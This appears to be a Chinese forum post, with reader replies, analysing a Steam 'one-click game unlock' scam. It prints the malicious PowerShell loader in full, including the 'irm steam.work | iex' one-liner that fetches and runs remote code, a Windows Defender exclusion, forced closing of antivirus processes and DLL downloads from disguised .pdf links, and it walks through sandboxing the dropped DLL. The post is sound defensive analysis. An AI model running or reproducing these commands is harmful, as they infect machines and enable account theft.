Steam一键解锁游戏简单分析
# Steam一键解锁游戏骗局分析steam通过powershell解锁游戏,感觉不简单
!(https://s2.loli.net/2024/11/20/TRpGcdDYgWx8mLA.png)
```powershell
irm steam.work | iex
```
1.`irm` 是 `Invoke-RestMethod` 的缩写,它用于发送 HTTP GET 请求到指定的 URL,这里是 `steam.work`。这个命令将尝试从该 URL 下载数据。
2.`|` 是管道符号,它会将前一个命令的输出作为下一个命令的输入。
3.`iex` 是 `Invoke-Expression` 的缩写。此命令将执行通过管道传递来的数据作为 PowerShell 脚本代码。
### 查看回显
1.**保存脚本到变量**:
```powershell
$scriptContent = irm steam.work
```
2.**查看脚本内容**:
```powershell
$scriptContent
```
通过这种方式,可以看到从 `steam.work` 返回的数据,而***不会执行***它。
返回了一个html文件,分析后发现是steam商城的默认页面
推测为检测UA头,只有powershell创建的web服务才能触发
!(https://s2.loli.net/2024/11/20/wda8jn64fcipsBM.png)
1. **powerShell**命令(ctrl+f搜到的):
– irm steam.work/pwsDwFile/new -OutFile x.ps1:这个命令使用Invoke-RestMethod(irm)从steam.work/pwsDwFile/new下载文件,并将其保存为名为x.ps1的PowerShell脚本文件。
– powershell.exe -ExecutionPolicy Bypass -File x.ps1:此命令执行上一步保存的x.ps1脚本,同时绕过执行策略,允许运行未签名的脚本。
这种组合表明,目的是从一个可能未知或不受信任的源下载并执行PowerShell脚本
这个PowerShell脚本似乎在自动化与Steam和360安全软件相关的几个任务。以下是脚本的详细解释:
1. **下载并保存脚本:**
```powershell
Invoke-RestMethod -Uri "http://steam.work/pwsDwFile/new" -OutFile "C:\PathToFolder\x.ps1"
```
这段代码从指定的URL下载文件,并将其保存到指定路径。
2. **删除特定文件:**
```powershell
$filePathToDelete = Join-Path $env:USERPROFILE "x.ps1"
if (Test-Path $filePathToDelete) {
Remove-Item -Path $filePathToDelete
}
$desktopFilePathToDelete = Join-Path (::GetFolderPath('Desktop')) "x.ps1"
if (Test-Path $desktopFilePathToDelete) {
Remove-Item -Path $desktopFilePathToDelete
}
```
这段代码删除用户主目录和桌面上的名为`x.ps1`的文件。
3. **检查Steam安装路径:**
```powershell
$steamRegPath = 'HKCU:\Software\Valve\Steam'
$localPath = -join ($env:LOCALAPPDATA,"\SteamActive")
if ((Test-Path $steamRegPath)) {
$properties = Get-ItemProperty -Path $steamRegPath
if ($properties.PSObject.Properties.Name -contains 'SteamPath') {
$steamPath = $properties.SteamPath
}
}
```
这段代码检查注册表以获取Steam的安装路径,并设置一个本地路径。
4. **检查管理员权限:**
```powershell
if (-not (::GetCurrent()).IsInRole(::Administrator)) {
Write-Host "[请重新打开Power shell 打开方式以管理员身份运行]" -ForegroundColor:red
exit
}
```
这段代码检查当前脚本是否以管理员身份运行,如果不是则提示用户以管理员身份运行。
5. **定义PwStart函数:**
```powershell
function PwStart() {
if(Get-Process "360Tray*" -ErrorAction Stop){
while(Get-Process 360Tray* -ErrorAction Stop){
Write-Host "[请先退出360安全卫士]" -ForegroundColor:Red
Start-Sleep 1.5
}
PwStart
}
if(Get-Process "360sd*" -ErrorAction Stop)
{
while(Get-Process 360sd* -ErrorAction Stop){
Write-Host "[请先退出360杀毒]" -ForegroundColor:Red
Start-Sleep 1.5
}
PwStart
}
if ($steamPath -eq ""){
Write-Host "[请检查您的Steam是否正确安装]" -ForegroundColor:Red
exit
}
Write-Host "" -ForegroundColor:green
Stop-Process -Name steam* -Force -ErrorAction Stop
Start-Sleep 2
if(Get-Process steam* -ErrorAction Stop){
TASKKILL /F /IM "steam.exe" | Out-Null
Start-Sleep 2
}
if (!(Test-Path $localPath)) {
md $localPath | Out-Null
if (!(Test-Path $localPath)) {
New-Item $localPath -ItemType directory -Force | Out-Null
}
}
$catchPath = -join ($steamPath,"\package\data")
if ((Test-Path $catchPath)) {
if ((Test-Path $catchPath)) {
Remove-Item $catchPath -Recurse -Force | Out-Null
}
}
try{
Add-MpPreference -ExclusionPath $steamPath -ErrorAction Stop
Start-Sleep 3
}catch{}
Write-Host "" -ForegroundColor:green
try{
$d = $steamPath + "/version.dll"
if (Test-Path $d) {
Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null
}
$d = $steamPath + "/user32.dll"
if (Test-Path $d) {
Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null
}
$d = $steamPath + "/steam.cfg"
if (Test-Path $d) {
Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null
}
$d = $steamPath + "/hid.dll"
if (Test-Path $d) {
Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null
}
}catch{
Write-Host "[异常残留请检查[$d]文件是否异常!]" -ForegroundColor:red
exit
}
$downloadData = "http://steam.work/pwsDwFile/bcfc1e52ca77ad82122dfe4c9560f3ec.pdf"
$downloadLink = "http://steam.work/pwsDwFile/9b96dac2bb0ba18d56068fabc5b17185.pdf"
irm -Uri $downloadLink -OutFile $d -ErrorAction Stop
Write-Host "" -ForegroundColor:green
$d = $localPath + "/hid"
irm -Uri $downloadData -OutFile $d -ErrorAction Stop
Write-Host "" -ForegroundColor:green
Start-Sleep 1
Start steam://
Write-Host "[连接服务器成功请在Steam输入激活码 3秒后自动关闭]" -ForegroundColor:green
Start-Sleep 3
$processID = Get-CimInstance Win32_Process -Filter "ProcessId = '$pid'"
Stop-Process -Id $processID.ParentProcessId -Force
exit
}
```
这个函数`PwStart`执行了以下任务:
- 检查并终止360安全卫士和360杀毒进程。
- 确认Steam安装路径是否存在。
- 停止所有Steam相关进程。
- 创建本地目录(如果不存在)。
- 删除特定Steam缓存数据。
- 添加Steam路径到Windows Defender的排除路径。
- 删除特定Steam文件。
- 下载并保存指定文件到本地路径,下载的文件包括“version.dll”、“user32.dll”、“steam.cfg”和“hid.dll”。
- 启动Steam并提示用户输入激活码。
整个脚本的目的是确保系统中没有运行360安全软件的情况下,清理和重置Steam的相关数据,并通过自动化下载和配置来恢复Steam的运行。
https://www.cnblogs.com/0day-li/p/18042274
https://github.com/BlueAmulet/GreenLuma-2024-Manager
原理应该类似于家庭共享,实现假入库。
看看释放了什么,在虚拟机输入链接,在everything中监听
!(https://s2.loli.net/2024/06/27/EGHsdRAkrzOge3j.png)
打开链接,释放了hid和**hid.dll**
[样本报告-微步在线云沙箱 (threatbook.com)](https://s.threatbook.com/report/file/1d7da3e7683c8101d21149a7aaab4ed0221cfbda7dc20c7e995731d4b8d13a65)
!(https://s2.loli.net/2024/06/27/ColRYyurmaiFfdH.png)
分析了下签名,怀疑惯犯
!(https://s2.loli.net/2024/06/27/kptnQvR2LaAWHxm.png)
[近期 Higaisa(黑格莎) APT 针对中国用户的钓鱼网站、样本分析(一) | CTF导航 (ctfiot.com)](https://www.ctfiot.com/144523.html)
逆向分析hid.dll,拖入ida
查看字符串,发现
!(https://s2.loli.net/2024/06/27/rFB2IPhQHo9qsAN.png)
Mark Adler不是那个开发zlib的吗
!(https://s2.loli.net/2024/06/27/8OR3JABzLqsS1tj.png)
基本确认了,存在zlib加密,分析hid文件
先写个脚本解密
```python
import zlib
def decompress_zlib_file(file_path, output_path):
try:
with open(file_path, 'rb') as file:
compressed_data = file.read()
decompressed_data = zlib.decompress(compressed_data)
with open(output_path, 'wb') as output_file:
output_file.write(decompressed_data)
print(f"Decompressed data written to {output_path}")
return True
except (zlib.error, IOError) as e:
print(f"Error decompressing file: {e}")
return False
input_file_path = r"C:\Users\23038\Desktop\hid.zlib"
output_file_path = r"C:\Users\23038\Desktop\decompressed_pe.dll"
success = decompress_zlib_file(input_file_path, output_file_path)
if success:
print("Decompression and file writing successful.")
else:
print("Failed to decompress and write the file.")def decompress_zlib_file(file_path, output_path):
```
分析decompressed_pe.dll,先拖入沙箱
(https://ata.360.net/report/580190474312704)
[样本报告-微步在线云沙箱 (threatbook.com)](https://s.threatbook.com/report/file/e6a3196eff236cadacbaf42285d31d59cb74889882a1f269ebcc88c26728aa52)
不出所料,报毒
![](https://s2.loli.net/2024/06/27/DJKBQ537zHUe48P.png)
!(https://s2.loli.net/2024/06/27/OxPfKrCjgSLGs7V.png)
加壳了,等闲下来找个虚拟机环境看看 这种第三方购买游戏的,让你下载什么东西或者运行什么的都是假入库骗局
一般第三方购买的,不是赠送礼物就是CDK激活
一般来说价格不正常的低的,不是盗版就是假入库 steam买游戏只可能是发CDK或者礼物赠送,其余的所有操作都可以当成是假的,要么钓鱼要么洗号。 期待后续分析补充,完事后可以@我加分~ 之前买过一个 发现是假入库我立即退款了 也不知道自己有没有清理干净 结论是啥? 楼主? 靠谱吗 蹲一个后续分析看看 重新登陆那里就感觉不正常,说不准会不会把steam的api key传走 awachxy 发表于 2024-11-20 16:49
这种第三方购买游戏的,让你下载什么东西或者运行什么的都是假入库骗局
一般第三方购买的,不是赠送礼物就 ...
steam软件直接就能激活cdk,左下角添加游戏直接粘贴cdk,越麻烦、越便宜越假。 朕来打江山 发表于 2024-11-20 17:25
重新登陆那里就感觉不正常,说不准会不会把steam的api key传走
会被盗号